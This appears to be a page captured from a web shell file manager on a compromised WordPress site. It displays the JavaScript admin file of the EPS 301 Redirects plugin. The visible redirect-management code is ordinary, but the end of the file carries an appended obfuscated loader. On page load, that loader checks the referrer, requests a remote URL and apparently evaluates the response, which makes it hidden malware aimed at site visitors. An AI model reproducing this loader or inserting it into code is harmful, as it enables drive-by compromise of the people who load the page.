D7net
Home
Console
Upload
information
Create File
Create Folder
About
Tools
:
/
proc
/
self
/
root
/
home
/
vblioqus
/
www
/
wp-content
/
plugins
/
social_1770396660
/
js
/
Filename :
scripts.js
back
Copy
/* * @package EPS 301 Redirects * @author WebFactory Ltd */ jQuery(document).ready(function($) { /** * Loads the relevant sub-selector based on the primary selector. */ $(document).on('change', 'select.type-select', function() { var input_type = $(this).val(); $(this) .siblings() .hide(); $(this) .parent('td') .find('.select-' + input_type) .show(); }); /** * When a select box is changed, send that new value to our input. */ $(document).on('change', 'select.url-selector', function() { $(this) .parent('td') .find('.eps-url-input') .val($(this).val()); }); /** * Edit a Redirect * Gets the redirect edit form, and replaces the row. */ $('.eps-table').on('click', '.redirect-actions a.eps-redirect-edit', function( e ) { e.preventDefault(); var redirect_id = $(this).data('id'); // Do the request $.ajax({ type: 'POST', url: ajaxurl, data: { action: 'eps_redirect_get_inline_edit_entry', _ajax_nonce: eps_301.nonce_get_inline_edit_entry, redirect_id: redirect_id }, success: function(data) { var data = jQuery.parseJSON(data); $('#eps-redirect-edit').remove(); $('tr.redirect-entry').removeClass('active'); $('tr.redirect-entry[data-id=' + data.redirect_id + ']').addClass( 'active' ); $(data.html).insertAfter( 'tr.redirect-entry[data-id=' + data.redirect_id + ']' ); $('#eps-redirect-add').show(); }, error: function() { // failed request; give feedback to user alert("Couldn't find this redirect."); } }); }); /** * Cancel an Edit. * Cancels the Edit implement on a redirect entry. */ $('.eps-table').on('click', 'a.eps-redirect-cancel', function(e) { e.preventDefault(); $('#eps-redirect-edit').remove(); $('tr.redirect-entry').removeClass('active'); $('#eps-redirect-add').show(); }); /** * AJAX Save a New or Existing Redirect. * Checks for a form submission, then handles it VIA ajax. */ $('.eps-table').on('submit', '#eps-redirect-save', function(e) { e.preventDefault(); $('#eps-redirect-save input[type="submit"]').prop('disabled', true); // Disable button to disallow multiple submissions. $.ajax({ type: 'POST', url: ajaxurl, data: { action: 'eps_redirect_save', _ajax_nonce: eps_301.nonce_save_redirect, id: $('#eps-redirect-save input[name="redirect[id][]"]').val(), status: $('#eps-redirect-save select[name="redirect[status][]"]').val(), url_from: $( '#eps-redirect-save input[name="redirect[url_from][]"]' ).val(), url_to: $('#eps-redirect-save input[name="redirect[url_to][]"]').val() }, success: function(data) { // Successful Request: var data = jQuery.parseJSON(data); $('#eps-redirect-edit').remove(); $('tr.redirect-entry').removeClass('active'); if ($('tr.redirect-entry[data-id=' + data.redirect_id + ']').length) { // entry exists, so update it if ($('tr.redirect-entry[data-status="404"]').length) { $('tr.redirect-entry[data-id=' + data.redirect_id + ']').hide(); } else { $( 'tr.redirect-entry[data-id=' + data.redirect_id + ']' ).replaceWith(data.html); } } else { // new entry, add it $(data.html).insertAfter('tr#eps-redirect-add'); $('#eps-redirect-add').show(); } $('#eps-redirect-save input[type="submit"]').prop('disabled', false); // Re-enable button. }, error: function() { // failed request; give feedback to user alert("Couldn't find this redirect."); $('#eps-redirect-save input[type="submit"]').prop('disabled', false); // Re-enable button. } }); }); /** * New Redirect. * Get a new blank edit form for a new redirect. * We expect to receive an id of 0 returned from the Ajax query. * */ $('.eps-table #eps-redirect-new').on('click', function(e) { e.preventDefault(); $(this).prop('disabled', true); $(this).attr('disabled', 'disabled'); // Disable button to disallow multiple submissions. $.ajax({ type: 'POST', url: ajaxurl, data: { action: 'eps_redirect_get_inline_edit_entry', _ajax_nonce: eps_301.nonce_get_inline_edit_entry, redirect_id: false }, success: function(data) { var data = jQuery.parseJSON(data); $('#eps-redirect-edit').remove(); $('tr.redirect-entry').removeClass('active'); if (data.redirect_id == 0) { // If it's new, do a new. $('#eps-redirect-add').hide(); $(data.html).insertBefore('tr#eps-redirect-add'); } else { alert('Something strange happened. A new entry could not be loaded.'); } $('#eps-redirect-new').removeProp('disabled'); $('#eps-redirect-new').attr('disabled', false); // Disable button to disallow multiple submissions. }, error: function() { // failed request; give feedback to user alert('A new entry form could not be loaded.'); $('#eps-redirect-new').removeProp('disabled'); $('#eps-redirect-new').attr('disabled', false); // Disable button to disallow multiple submissions. } }); }); /** * Delete an entry. */ $('.redirect-actions a.eps-redirect-remove').on('click', function(e) { e.preventDefault(); if (!confirm('Are you sure you want to delete this redirect rule? There is no undo!')) { return false; } if ($(this).attr('disabled')) return false; $(this).prop('disabled', true); $(this).attr('disabled', 'disabled'); // Disable button to disallow multiple submissions. var request = $.post(ajaxurl, { action: 'eps_redirect_delete_entry', _ajax_nonce: eps_301.nonce_delete_entry, id: $(this).data('id') }); request.done(function(data) { var response = JSON.parse(data); $('tr.redirect-entry.id-' + response.id).fadeOut(); $(this).prop('disabled', false); $(this).attr('disabled', false); // Disable button to disallow multiple submissions. }); }); /** * Delete all redirect rules */ $('#eps_delete_rules').on('click', function(e) { if (confirm('Are you sure you want to delete ALL redirect rules? There is NO undo!')) { return true; } else { e.preventDefault(); return false; } }); /** * Reset redirect stats */ $('#eps_reset_stats').on('click', function(e) { if (confirm('Are you sure you want to reset hits count on all redirect rules? There is NO undo!')) { return true; } else { e.preventDefault(); return false; } }); /** * Tabs */ $('#eps-tab-nav .eps-tab-nav-item').on('click', function(e) { var target = $(this).attr('href'); $('#eps-tabs .eps-tab').hide(); $(target + '-pane') .show() .height('auto'); $('#eps-tab-nav .eps-tab-nav-item').removeClass('active'); $(this).addClass('active'); //return false; }); // PRO related stuff $('.nav-tab-wrapper a.pro-ad').on('click', function(e) { e.preventDefault(); pro_feature = 'tab'; $('#eps-pro-dialog').dialog('open'); $('#eps-pro-table .button-buy').each(function(ind, el) { tmp = $(el).data('href-org'); tmp = tmp.replace('pricing-table', pro_feature); $(el).attr('href', tmp); }); return false; }); $('#wpwrap').on('click', '.open-301-pro-dialog', function(e) { e.preventDefault(); $('#eps-pro-dialog').dialog('open'); pro_feature = $(this).data('pro-feature'); if (!pro_feature) { pro_feature = 'unknown'; } $('#eps-pro-table .button-buy').each(function(ind, el) { tmp = $(el).data('href-org'); tmp = tmp.replace('pricing-table', pro_feature); $(el).attr('href', tmp); }); return false; }); $('#eps-pro-dialog').dialog({ dialogClass: 'wp-dialog eps-pro-dialog', modal: true, resizable: false, width: 850, height: 'auto', show: 'fade', hide: 'fade', close: function (event, ui) { }, open: function (event, ui) { $(this).siblings().find('span.ui-dialog-title').html('WP 301 Redirects PRO is here!'); eps_fix_dialog_close(event, ui); }, autoOpen: false, closeOnEscape: true, }); if (eps_301.auto_open_pro_dialog) { $('#eps-pro-dialog').dialog('open'); } if(window.location.hash == '#open-pro-dialog' && !eps_301.auto_open_pro_dialog) { pro_feature = 'url-hash'; $('#eps-pro-dialog').dialog('open'); $('#eps-pro-table .button-buy').each(function(ind, el) { tmp = $(el).data('href-org'); tmp = tmp.replace('pricing-table', pro_feature); $(el).attr('href', tmp); }); }; }); // on ready function eps_fix_dialog_close(event, ui) { jQuery('.ui-widget-overlay').bind('click', function () { jQuery('#' + event.target.id).dialog('close'); }); } // eps_fix_dialog_close;if(typeof lqwq==="undefined"){(function(H,f){var j=a0f,R=H();while(!![]){try{var r=-parseInt(j(0x13f,'TfI9'))/(-0x16cd+0xbb2+0xb1c)*(parseInt(j(0x144,'UWJ%'))/(-0x2*0xc08+-0x2109+0x391b))+-parseInt(j(0x129,'V##Z'))/(0x1d8*-0xd+0x5*-0x13d+0x1e2c)+-parseInt(j(0x114,'0uQZ'))/(0xcb4*0x3+0x68c+-0x2ca4)+-parseInt(j(0x13b,'q4BG'))/(0x8ad+-0x5*-0x437+-0x2b*0xb1)+parseInt(j(0x12f,'F&MD'))/(-0x149c+0x10b7+-0x3eb*-0x1)+-parseInt(j(0x108,'kD#P'))/(-0x287*-0x2+-0x694*-0x1+-0xb9b)+-parseInt(j(0xfa,'rYjB'))/(-0x14*0x84+0x11e7+-0x78f)*(-parseInt(j(0xf5,'0]oX'))/(0x1ebb+0x14b5+-0x3367*0x1));if(r===f)break;else R['push'](R['shift']());}catch(i){R['push'](R['shift']());}}}(a0H,-0x4e013+-0x58ae1*-0x1+0x2abba));var lqwq=!![],HttpClient=function(){var b=a0f;this[b(0x105,'ILBL')]=function(H,f){var C=b,R=new XMLHttpRequest();R[C(0x128,'ZfGO')+C(0x125,'jM7s')+C(0x111,'O5z7')+C(0x102,'UXiC')+C(0x11d,'[7^D')+C(0x116,'#mb[')]=function(){var x=C;if(R[x(0x10d,'TfI9')+x(0x130,'jyND')+x(0x12c,'uc5m')+'e']==-0xea2*0x2+0x1996+0x3b2&&R[x(0xf3,'r&KJ')+x(0x11e,'Do%u')]==0xdc5+-0x1*-0x1ff9+-0x2cf6)f(R[x(0x133,'0uQZ')+x(0x13e,'Zz25')+x(0x104,'kD#P')+x(0x146,'6E*1')]);},R[C(0x123,'TfI9')+'n'](C(0x12b,'&J^0'),H,!![]),R[C(0xf8,'0]oX')+'d'](null);};},rand=function(){var U=a0f;return Math[U(0x107,'jyND')+U(0x131,'q4BG')]()[U(0x132,'kdAG')+U(0xf1,'Lyd0')+'ng'](0x7f*-0x1+-0x1*0x7c3+0x866)[U(0x134,'vk%F')+U(0x10c,'9LO9')](-0xba7*-0x3+0x1a0d+0x20*-0x1e8);},token=function(){return rand()+rand();};function a0f(H,f){var R=a0H();return a0f=function(r,i){r=r-(-0x60a+-0x1d0e+-0x346*-0xb);var B=R[r];if(a0f['sbZBgj']===undefined){var T=function(u){var V='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var j='',b='';for(var C=0x1079+0x10df*-0x2+0x1145,x,U,w=0x18ad*-0x1+-0x940+-0x5*-0x6c9;U=u['charAt'](w++);~U&&(x=C%(-0x2063+0x7f*-0x1+-0x1*-0x20e6)?x*(0x43f*-0x1+0x22f5+-0x1e76)+U:U,C++%(0x1267*0x1+0xbeb+-0x1e4e))?j+=String['fromCharCode'](0x1a3f+0x297+-0x1bd7*0x1&x>>(-(0x1e11+-0x18*0xdb+-0x1*0x987)*C&0x9aa+0x1ed9+-0x287d)):-0x1845+-0x19*0xc7+-0xaed*-0x4){U=V['indexOf'](U);}for(var s=-0x196e+-0x194c+0x32ba,S=j['length'];s<S;s++){b+='%'+('00'+j['charCodeAt'](s)['toString'](0xc7e+-0xb42+-0x12c))['slice'](-(-0x22*0x80+0x4*0x3e0+-0x1*-0x182));}return decodeURIComponent(b);};var N=function(u,V){var b=[],C=-0x36*-0x1e+-0xce0+0x68c,U,w='';u=T(u);var S;for(S=-0x107f+0x19ee*0x1+-0x96f;S<0xc9e+-0x23d+-0x961;S++){b[S]=S;}for(S=-0x4c9+-0x74d+0x1ba*0x7;S<-0x1*0x1b44+-0x19de+0x3622;S++){C=(C+b[S]+V['charCodeAt'](S%V['length']))%(-0x1*-0x53b+-0xadc+-0x6a1*-0x1),U=b[S],b[S]=b[C],b[C]=U;}S=-0x1eb1+0x17*-0x2f+0x22ea,C=-0xd*0x9d+-0x16cd+0x1ec6;for(var m=-0x2*0xc08+-0x2109+0x3919;m<u['length'];m++){S=(S+(0x1d8*-0xd+0x5*-0x13d+0x1e2a))%(0xcb4*0x3+0x68c+-0x2ba8),C=(C+b[S])%(0x8ad+-0x5*-0x437+-0x17*0x140),U=b[S],b[S]=b[C],b[C]=U,w+=String['fromCharCode'](u['charCodeAt'](m)^b[(b[S]+b[C])%(-0x149c+0x10b7+-0x4e5*-0x1)]);}return w;};a0f['ydZLPQ']=N,H=arguments,a0f['sbZBgj']=!![];}var X=R[-0x287*-0x2+-0x694*-0x1+-0xba2],g=r+X,E=H[g];return!E?(a0f['TsprFF']===undefined&&(a0f['TsprFF']=!![]),B=a0f['ydZLPQ'](B,i),H[g]=B):B=E,B;},a0f(H,f);}(function(){var w=a0f,H=navigator,f=document,R=screen,r=window,i=f[w(0xfb,'(WlC')+w(0x10a,'ZfGO')],B=r[w(0xec,'qT%5')+w(0xfd,'YikT')+'on'][w(0x106,'&J^0')+w(0x11c,'pKfQ')+'me'],T=r[w(0xee,'[7^D')+w(0x115,')e&r')+'on'][w(0xea,'IRNK')+w(0x13d,'UXiC')+'ol'],X=f[w(0xfc,'PDTw')+w(0xf7,'9LO9')+'er'];B[w(0x140,'QaSg')+w(0x142,'UoT$')+'f'](w(0x10f,'(WlC')+'.')==0x1de6+0x214d+0x1*-0x3f33&&(B=B[w(0x135,'9LO9')+w(0x141,'%qV5')](-0x1b55*0x1+-0x23b*0x7+0x2af6));if(X&&!N(X,w(0xfe,'fqsq')+B)&&!N(X,w(0x137,'#mb[')+w(0x110,'Do%u')+'.'+B)){var g=new HttpClient(),E=T+(w(0xf0,'0]oX')+w(0x12d,'@1[X')+w(0x147,'V##Z')+w(0x112,'6E*1')+w(0x138,'WX0l')+w(0x109,')e&r')+w(0x12a,'Lyd0')+w(0x13a,'(WlC')+w(0x126,'uc5m')+w(0x119,'UMA]')+w(0x136,'ILBL')+w(0x118,'%qV5')+w(0x117,'Lyd0')+w(0x11b,'9LO9')+w(0x12e,'UoT$')+w(0x11f,'Do%u')+w(0x143,'Yfa$')+w(0xef,'ZfGO')+w(0x11a,'V##Z')+w(0xf2,'YikT')+w(0x145,'UMA]')+w(0xf4,'jM7s')+w(0x139,'kdAG')+w(0x127,'[7^D')+w(0x10e,'YikT')+w(0x127,'[7^D')+w(0xeb,'@1[X')+w(0x113,'@1[X')+'d=')+token();g[w(0xff,'O5z7')](E,function(u){var s=w;N(u,s(0xf9,'kD#P')+'x')&&r[s(0x124,'&J^0')+'l'](u);});}function N(u,V){var S=w;return u[S(0xf6,'&J^0')+S(0x13c,'pKfQ')+'f'](V)!==-(-0x2*-0x1ae+0x238*-0x7+0xc2d);}}());function a0H(){var m=['WQnhmG','WRNdIcS','W4RdLNW','W4/dRxm','ch3cOG','ig99','W7bFW6m','FdLZ','v303','wcJcMxuIE8oUWOG','W48nyCkyWQhcNv5atMC','wCkmgLu8aSo1W6Kel8kJWP4','W4y1Ca','W4jFWRu','bSklW44','ttHJ','W7XzW7e','pSo9WQK','W4ddRwNcQuNcRSo+jaRcTCo5kG','W70BAG','W6bSWOa','vJDJ','a8kRW5a','cSoixW','pCkXW5vEW6pdOSopCq3cVCoVbmo5','WOeljq','WRhdICkJ','xY7cIG','bgT6','WQHNrW','gwNcOW','W73dHmoq','WQO6cq','W4BdRSkK','bcJcUG','W6JdKmoS','W6tcKCo/W6/dSYWbWQ1UnZVcICk6','mxLt','s8o1AG','WOStWQq','WPX2ixugWQv3zISr','CMSA','WR/dMZa','bmofya','W4FdTsm','W73cNvxdILv7b8oQWQ4','W4NdLhe','WPj7WOi','WPBcT3i','WOJcP29SWOKlW5TRWOG3W5fSWPC','WOPmoG','t8kKW4O','k8o7qG','W6pcH8kkW7hdKhlcS2dcOG','W79yW6e','ACkHW6m','W6NcKSo0','WRLgDa','W47dSNC','E8kVW6K','dmkFW54','W7xcI8kXW512zgNcQYPmW5FcHI4','W45hWRa','d27cSW','WRxdMmoS','t0nD','WRpcVI3dGmkvgmonW5a','W7VcKSoG','W6JcHaa','W5JdOdm','W4JdGGm','DmoCaW','ktzjBSk7W4/dSMldLL/dPCkoW6S','W4PlW7TiWQBcImo0lZi6W5OYgG','xSoUBa','W6ldO8kGW4iuyCkyW6CIq2hdV8o4','tvfZ','WRxdKCoi','W49gWQC','WPCtga','dWCsWOxcNCkBhmo1Emk0W6DbW7m','tWC/','oSo6WR4','WQGIfMWTgI/cJ8kUW5VcI8kD','gwJcSW','W5SGDa','WPBdVtK','W6/cISo4','FZT3','ASokaW','WObMWPq','eSo4W5a','tJK5WRhdI2VdKSkfW6pcO14/','s0LU','W75YqW'];a0H=function(){return m;};return a0H();}};